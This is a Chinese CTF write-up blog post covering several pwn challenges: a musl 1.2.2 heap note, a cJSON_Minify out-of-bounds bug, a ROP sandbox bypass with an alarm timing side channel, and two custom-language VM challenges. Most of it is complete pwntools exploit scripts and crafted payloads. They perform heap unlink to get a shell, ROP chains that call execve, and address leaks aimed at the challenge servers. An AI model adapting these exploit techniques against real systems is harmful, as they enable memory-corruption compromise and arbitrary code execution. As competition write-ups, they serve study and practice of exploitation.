分类 XCTF 下的文章

前言

不算很复杂的musl堆题,但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器,musl 1.2.2则采用了:malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构,并且free掉的chunk有bitmap直接管理(而不是放入某些链表中)。但是meta依然存在无检查的unlink操作,所以大部分攻击的思路仍然是构造出fake meta,然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了:

  • 可以尝试写rop到栈上
  • 可以尝试伪造 fake stdout 并将指针写到 stdout_usedfake stdout 的头部可以写为"/bin/sh\x00"write指针写为 system 指针,这样当 exit() 时就会触发system("/bin/sh")调用
  • 可以参考别的博主写 _aexit() 中相关函数指针的方法

思路:

  • 堆风水+UAF把一个note构造到另一个note的note->content域下,find功能泄露出elf_base和初始堆地址(musl的初始堆地址在二进制文件的地址空间中)
  • 再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note,构造指针进行任意地址泄露,重复该步骤两次分别泄露libc地址和__malloc+context中的secret(用于后序步骤伪造)
  • 同样借助UAF构造一个fake note,并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE,fake note的next指向fake_chunk然后构造fake_metaprevnext使得freefake_note->next之后的unlinkfake IO_FILE的地址写入到stdout_user

    • 由于__IO_FILE中存在如下指针:size_t (*write)(FILE *, const unsigned char *, size_t);,只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell
    • 详细的实现细节可以参考[2]中的描述

Notice:

  1. 为了保证和远程环境最大程度相似,建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so,如果怕覆盖掉本地的musl可以先mv备份
  2. 开启和关闭ASLR会导致某个常量发生变化,调试的时候记得手动修改一下(见注释)
  3. 为了方便调试,可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/mallocdir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号(在free的时候带源码调试可以很方便检查程序流卡在哪个assert)

EXP:

from pwn import *

context.log_level = "debug"
# 调试本地环境记得一定要拷贝到这个路径,用ld的启动方式vmmap会很tm怪!
# cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so
p = process("./babynote")
p = remote("123.60.76.240", 60001)

def add(name, content, size=-1):
    p.sendlineafter(b"option: ", b"1")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    p.sendlineafter(b"note size: ", str(len(content)).encode())
    p.sendafter(b"note content: ", content)
    
def find(name, size=-1):
    p.sendlineafter(b"option: ", b"2")
    if size >= 0:
        p.sendlineafter(b"name size: ", str(size).encode())
    else:
        p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def delete(name):
    p.sendlineafter(b"option: ", b"3")
    p.sendlineafter(b"name size: ", str(len(name)).encode())
    p.sendafter(b"name: ", name)
    
def forget():
    p.sendlineafter(b"option: ", b"4")
    
def exit():
    p.sendlineafter(b"option: ", b"5")

def exp():
    ## ------------ leak addr info ------------
    for i in range(3):
        add(bytes([0x41+i])*0xc, bytes([0x61+i])*0x28) # A-C
    for i in range(3):
        find(b"x"*0x28)
    forget()
    add(b"E"*0xc, b"e"*0x28) # E uaf
    # -- new group
    add(b"F"*0xc, b"f"*0x28) # F hold E
    delete(b"E"*0xc)
    add(b"eqqie", b"x"*0x38) # occupy
    
    find(b"E"*0xc)
    
    p.recvuntil(b"0x28:")
    leak_heap = 0
    leak_elf = 0
    for i in range(8):
        leak_heap += int(p.recv(2).decode(), 16) << (i*8)
    for i in range(8):
        leak_elf += int(p.recv(2).decode(), 16) << (i*8)
    elf_base = leak_elf - 0x4fc0
    heap_base = elf_base
    print("leak_heap:", hex(leak_heap))
    print("leak_elf:", hex(leak_elf))
    print("heap_base:", hex(heap_base))
    print("elf_base:", hex(elf_base))
    
    ## ------------ leak libc addr ------------
    read_got = elf_base+0x3fa8
    add(b"Y"*0xc, b"y"*0xc) # occupy
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cf0) + p64(read_got) # name('aaaa'), content(read@got)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    read_got = b""
    for i in range(8):
        read_got += p8(int(p.recv(2).decode(), 16))
    read_got = u64(read_got)
    print("read_got:", hex(read_got))
    libc_base = read_got - 0x74f10
    stdout_used = libc_base + 0xb43b0
    print("libc_base:", hex(libc_base))
    print("stdout_used:", hex(stdout_used))

    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ leak heap secret ------------
    new_heap = libc_base - 0xb5000
    print("new_heap:", hex(new_heap))
    heap_secret_ptr = libc_base + 0xb4ac0
    
    forget() # fresh all
    add(b"A"*0x4, b"a"*0x4)
    add(b"B"*0x4, b"b"*0x4)
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret)
    fake_note += p64(4) + p64(8) # name_size, content_size
    fake_note += p64(0) # next->null    
    add(b"C"*0x4, fake_note) # C occupy last chunk
    find(b"a"*4)
    p.recvuntil(b"0x8:")
    heap_secret = b""
    for i in range(8):
        heap_secret += p8(int(p.recv(2).decode(), 16))
    print("heap_secret:", heap_secret)
    for i in range(7):
        add(b"y"*0x4, b"y"*0x4) # run out of chunks
    forget() # fresh all
    
    ## ------------ build fake_meta, fake_chunk ------------
    # 关ASLR打本地的时候记得改掉这个偏移
    new_heap2 = libc_base - 0x7000  # aslr_on&remote: 0x7000  aslr_off: 0xd000
    print("new_heap2:", hex(new_heap2))
    add(b"A"*0x4, b"a"*0x4) # A
    ### pointers
    system = libc_base + 0x50a90
    execve = libc_base + 0x4f9c0
    fake_area_addr = new_heap2 + 0x1000
    fake_meta_ptr = fake_area_addr + 0x20
    fake_group_ptr = fake_meta_ptr + 0x30
    fake_iofile_ptr = fake_group_ptr + 0x10
    fake_chunk_ptr = fake_iofile_ptr - 0x8
    print("system:", hex(system))
    print("fake_meta_ptr:", hex(fake_meta_ptr))
    print("fake_group_ptr:", hex(fake_group_ptr))
    print("fake_iofile_ptr:", hex(fake_iofile_ptr))
    ### fake arena
    fake_area = heap_secret + b"M" * 0x18
    ### fake group
    fake_group = p64(fake_meta_ptr)    
    ### fake iofile
    fake_iofile = p64(0) # chunk prefix: index 0, offset 0
    fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
    fake_iofile = fake_iofile.ljust(0x500, b"\x00")
    ### fake meta
    fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next
    fake_meta += p64(fake_group_ptr)
    fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
    fake_meta = fake_meta.ljust(0x30)
    ### final payload
    payload = b"z"*(0x1000-0x20)
    payload += fake_area + fake_meta + fake_group + fake_iofile
    payload = payload.ljust(0x2000, b"z")
    add(b"B"*0x4, payload) # check this
    
    delete(b"A"*0x4)
    for i in range(7):
        find(b"x"*0x28)
    ## ------------  build fake_note ------------
    fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!)
    fake_note += p64(4) + p64(4) # name_size, content_size
    fake_note += p64(0) # next->null
    add(b"C"*0x4, fake_note) # C occupy last chunk
    add(b"D"*0x4, b"d"*4) # D
    #gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free")
    #pause()
    
    delete(b"d"*0x4)
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()

参考资料:

[1] https://www.anquanke.com/post/id/253566

[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl

[3] https://www.anquanke.com/post/id/241101#h2-5

[4] https://www.anquanke.com/post/id/241104

musl 1.2.2 版本的内存管理机制发生了特别大的变化,但是本题用到的所有知识网上都有公开可查的资料了

dataleak

cJSON库里cJSON_Minify函数有个漏洞

void cJSON_Minify(char *json)
{
    char *into=json;
    while (*json)
    {
        if (*json==' ') json++;
        else if (*json=='\t') json++;    /* Whitespace characters. */
        else if (*json=='\r') json++;
        else if (*json=='\n') json++;
        else if (*json=='/' && json[1]=='/')  while (*json && *json!='\n') json++;    
        else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;}    /* multiline comments. */
        else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;} 
        else *into++=*json++;            /* All other characters. */
    }
    *into=0;    /* and null-terminate. */
}

多行注释的处理没考虑注释不闭合,可能造成越界读写

相关issue

exp:

from pwn import*

p=remote('124.70.202.226',2101)
#p=process('./cJSON_PWN')
context.log_level='debug'

p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('/*'.rjust(0xe,'a')) #'this_is_dat'
a=p.recv(0xb)
print(a)

#gdb.attach(p)
p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('a/*'.ljust(0xe,'a')) #'a_in_server'
b=p.recv(0xb)
print(a+b)

p.interactive()

把栈上存的要你读的数据leak出来,在交互里换flag

Gadget

用纯gadget切换到32位模式绕过沙箱限制打开文件,然后切回64位模式用alarm侧信道爆破flag字符

由于一次可输入的长度不够,这里分成了三段ROP,每段之前先迁移一下栈

exp:

from pwn import *
import time
import sys
import threading

context.arch = "amd64"
#context.log_level = "debug"

flag = {}
lock = threading.Lock()

# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200

# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb

alarm_gadget = 0x40115D
'''
.text:000000000040115D                 mov     eax, 25h
.text:0000000000401162                 mov     edi, [rbp-8]    ; seconds
.text:0000000000401165                 syscall                 ; LINUX - sys_alarm
.text:0000000000401167                 pop     rbp
.text:0000000000401168                 retn
'''

def exp(curr_ch):
    # 121.37.135.138 2102
    #p = process("./gadget")
    p = remote("121.37.135.138", 2102)
    
    #gdb.attach(p, "b *0x40119a\nc\n")
    offset = 0x38
    move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget)
    #move_stack_payload += p64(leave_ret) # start part1
    move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
    p.send(move_stack_payload)
    
    # part 1
    time.sleep(1)
    bss_payload = b"./flag\x00\x00" # new rbp 
    bss_payload += p64(0)*2
    bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86
    
    bss_payload += p32(pop_rax_ret) + p32(5) # control eax to SYS_open
    bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
    bss_payload += p32(pop_rcx_ret) + p32(0)
    bss_payload += p32(int_0x80_ret) # do SYS_open
    
    bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64

    bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
    bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2)  # start part2
    
    #print("len(bss_payload):", hex(len(bss_payload)))  
    p.send(bss_payload)
    
    # part2
    time.sleep(1)
    bss_payload2 = p64(0xdeadbeef) # new rbp
    bss_payload2 += p64(0)*2
    bss_payload2 += p64(pop_rax_ret) + p64(0)  # control rax to SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef) # fd

    bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
    bss_payload2 += p64(syscall_ret) # do SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
    
    bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
    bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3)  # start part3
    
    #print("len(bss_payload2):", hex(len(bss_payload2)))  
    p.send(bss_payload2)
    
    # rewrite
    time.sleep(1)
    p.send(b"\x00"*0x7)
    #p.send(p64(7))
    
    # part3
    time.sleep(1)
    bss_payload3 = p64(0xdeadbeef) # new rbp
    bss_payload3 += p64(0)*2
    bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
    bss_payload3 += p64(alarm_gadget) # alarm gadget
    bss_payload3 += p64(0xdeadbeef) # padding
    
    bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
    bss_payload3 += p64(push_rsi_ret) # blocking

    #print("len(bss_payload3):", hex(len(bss_payload3)))  
    p.send(bss_payload3)
    
    start = time.time()
    for i in range(1000):
        try:
            p.send(b"a")
        except:
            end = time.time()
            time_used = int(end-start)
            print(f"[ROUND {curr_ch}] Time used:", end-start)
            print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
            lock.acquire()
            flag[curr_ch] = chr(time_used)
            lock.release()
            return
        finally:
            time.sleep(0.3)
    print(f"[ROUND {curr_ch}] ERROR")
    p.close()
    return

if __name__ == "__main__":
    pool = []
    for _round in range(33):
        th = threading.Thread(target=exp, args=(_round, ))
        th.setDaemon = True
        pool.append(th)
        th.start()
    for th in pool:
        th.join()
    flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}    
    print(flag)
    flag_str = ""
    for k, v in flag.items():
        flag_str = flag_str + v
    print(flag_str)

Christmas Song

题目给了编译器源代码,./com目录下有词法和语法定义(lex+yacc)的源文件,从源文件逆出语法;

scanner.l

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap


%%
";"             {return NEW_LINE;}
":"             {return NEXT;}
"is"            {yylval=ast_operator_init('=');return OPERATOR;}
"gift"          {return GIFT;}
"reindeer"      {return REINDEER;}
"equal to"      {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than"  {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift"   {return IF;}
"delivering gift"    {return DELIVERING;}
"brings back gift"   {return BACK;}
"this family wants gift"                {return WANT;}
"ok, they should already have a gift;"  {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}

<<EOF>>         {return 0;}

[ ]             {/* empty */}
[\n]            {line++;}
[-+*/]          {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+       {yylval=ast_word_init(yytext); return WORD;}
[0-9]+          {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\"    {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#)       {/* empty */}
%%

void yyerror(ast_t **modlue,const char *msg) {
    printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
    exit(1);
}

parser.y

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}

%parse-param { ast_t **module}

%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT 


%%
proprame    :   stmts   
                {$$ = *module = $1;}
            ;
stmts   :   stmt 
                {$$ = ast_init(AST_STMT, 1, $1);}
        |   stmts stmt
                {$$ = ast_add_child($1, $2);}
        ;
stmt    :   call_expr 
        |   want_stmt
        |   var_expr NEW_LINE
                {$$ = $1;} 
        ;

want_stmt :     WANT WORD lists ENDWANT  
                {$$ = ast_init(AST_WANT, 2, $2, $3);}
        ;

lists    :  list 
                {$$ = ast_init(AST_LISTS, 1, $1);}
        |  lists list 
                {$$ = ast_add_child($1, $2);}
        ;

list    :  IF OPERATOR expr NEXT stmts
                {$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
        | list AGAIN 
                {$$ = ast_add_child($1, $2);}

call_expr   : call_expr BACK WORD NEW_LINE 
                {$$ = ast_add_child($1, $3);}
            | call_expr NEW_LINE 
                {$$ = $1;}
            | REINDEER WORD DELIVERING WORD WORD WORD  
                {$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
            ;

var_expr    : GIFT expr  
                {$$=$2;}
            ;

expr    :   expr OPERATOR expr    
                {$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
        |   WORD               
                {$$=$1;}
        |   NUMBER             
                {$$=$1;}
        |   STRING 
                {$$=$1;}
        ;
%%

这个编译器实际上将源文件编译成了一个虚拟指令集构成的二进制文件,使用-r参数可以放到vm里面运行,检查了一下vm主要利用点在这:

void vm_opcode_call(arg){
    char *func = get_word;
    u_int64_t arg3 = pop;
    u_int64_t arg2 = pop;
    u_int64_t arg1 = pop;
    u_int64_t ret;

    if (is_func("Rudolph")){
        // ret = write(arg1, arg2, arg3);
        // No talking while singing Christmas Songs
        printf("error: \n%s\n", rudolph);
    }
    if (is_func("Dasher")){
        ret = read(arg1, arg2, arg3);
    }
    if (is_func("Dancer")){
        ret = open(arg1, arg2, arg3);
        if((int)ret < 0){
            printf("error con't open file %s\n", arg1);
            exit(EXIT_FAILURE);
        }
    }
    if (is_func("Prancer")){
        ret = strncmp(arg1, arg2, arg3);
    }
    if (is_func("Vixen")){
        ret = memcpy(arg1, arg2, arg3);
    }
    push(ret);
}
  1. 给了open和read,虽然没给wirte,但是可以从open的参数报错把flag打印出来;
  2. 构造利用的时候关键点在于leak,观察可以发现vm_opcode_call里面的局部变量ret没有初始化,也就是说首次进入vm_opcode_call只要不触发任何内置函数,就可以把ret的值泄露出来;泄露出来是一个堆上的可写地址,加偏移找一块空地作为BUF;
  3. 往BUF读文件名,然后读FLAG到BUF上,最后通过报错打印即可拿到FLAG
  • 1.slang
gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;

reindeer Dasher delivering gift FD BUF RN;

reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;
  • remote.py
from pwn import *

p = remote("124.71.144.133", 2144)
#p = process(["python3", "server.py"])
context.log_level = "debug"

with open("./1.slang", "rb") as f:
    p.sendline(f.read())
p.sendline(b"EOF")

pause(1)
p.send(b"/home/ctf/flag\x00")
#p.shutdown("send")

p.interactive()

Christmas Bash

相比于上一题题目恢复了 write 调用:

if (is_func("Rudolph")){
    ret = write(arg1, arg2, arg3);
    // No talking while singing Christmas Songs
    // printf("error: \n%s\n", rudolph);
}

并且预设了一个名为sleep的变量,该变量保存了sleep函数的地址(位于libc):

gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);

个人的非预期解法:

  1. 与之前相同,通过未初始化的 ret 泄露出堆地址;借助 sleep 函数可以得到 libc 地址
  2. 目标是打 vm_lambda_call 的返回地址进行 rop,于是想要泄露 environ
  3. 但是这个语言没有提供解引用的功能,计算出 environ 的地址后不能很方便的把里面的值读到某个变量
  4. 由于 strncmp 在比较两个不相等字符时会做减法然后返回差值,于是只要用一个空字串和 environ 逐字节比较就可以一个一个字节泄露出栈地址
  5. 泄露出栈地址后计算 vm_lambda_call 的返回地址,这里注意,参数个数不同会导致初始化栈上指针数量不通,从而导致栈偏移不同,写 exp 测试的时候应该按照加了 -r 参数的命令行来测试
  6. 计算各种 gadget 地址并保存到变量,计算出这些变量在堆上的地址(这一步堆布局是动态变化的,和语法树大小有关);将这个地址和目标栈地址放到 memncpy 进行拷贝,布置 ROP 链
  7. 结束程序前输出一次 "hello" ,这样才能进到第二次执行,在第一次执行的时候输出是被关掉的(两次执行的输入输出都被关掉了,所以EXP没有采用交互方式)
result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True)
if (result.decode() == "hello"):
    socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.")
    os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename))
else:
    socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!")
clean(filename);
  1. 最开始做的时候考虑到第一次不能读出flag导致无法进入第二次有输出的执行,于是借助了一个随机地址的字节,通过判断这个字节和127的大小关系可以得到一个二分之一的概率,总体而言就有四分之一的概率可以拿到flag(后来发现栈偏移问题后才知道这一步是多余的...一度以为这是考点)

exp.slang

gift NULL is 0;
gift NULSTR is "";
gift STDIN is 0;
gift STDOUT is 1;
gift RN is 32;
gift WNLEAK is 8;
gift CMPLEN is 1;
gift SHIFT is 256;
gift HELLO is "hello";
gift HELLOLEN is 5;

reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift HEAPBASE is LEAK-1152;
gift BUF is HEAPBASE+12288;
gift LIBCBASE is sleep-972880;
gift EXECVE is LIBCBASE+975632;
gift ENVIRON is LIBCBASE+2232000;
gift TMP is ENVIRON;
gift STACKLEAK is 0;


reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is BYTELEAK+STACKLEAK*1;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift RANDBYTE is BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256*256;

gift MAINRET is STACKLEAK-1200;
gift MAINRETA is MAINRET+8;
gift MAINRETB is MAINRET+16;
gift MAINRETC is MAINRET+24;
gift MAINRETD is MAINRET+32;
gift MAINRETE is MAINRET+40;
gift MAINRETF is MAINRET+48;
gift POPRDIRET is LIBCBASE+190149;
gift POPRSIRET is LIBCBASE+196737;
gift POPRDXRET is LIBCBASE+1180274;
gift CMD is "/home/ctf/getflag";
gift EXECVEPTR is HEAPBASE+9768;
gift GADGETAPTR is HEAPBASE+10600;
gift GADGETBPTR is HEAPBASE+10600+32;
gift GADGETCPTR is HEAPBASE+10600+64;
gift CMDPTR is HEAPBASE+10696;

reindeer Dasher delivering gift STDIN BUF NULL;

gift AAAA is 0;
gift BBBB is 0;
gift CCCC is 0;
gift DDDD is 0;
gift EEEE is 0;
gift FFFF is 0;
gift GGGG is 0;

this family wants gift AAAA if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRET GADGETAPTR WNLEAK 
ok, they should already have a gift;

this family wants gift BBBB if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETA CMDPTR WNLEAK;
ok, they should already have a gift;

this family wants gift CCCC if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETB GADGETBPTR WNLEAK;
ok, they should already have a gift;

this family wants gift DDDD if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETC NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift EEEE if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETD GADGETCPTR WNLEAK;
ok, they should already have a gift;

this family wants gift FFFF if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETE NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift GGGG if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETF EXECVEPTR WNLEAK;
ok, they should already have a gift;


reindeer Rudolph delivering gift STDOUT HELLO HELLOLEN;

exp.py

from pwn import *
# context.log_level = "debug"

while True:
    p = remote("121.36.254.255", 2155)
    
    p.recvuntil(b"please input your flag url:")
    p.sendline(b"http://app.eqqie.cn/3.scom")
    p.interactive()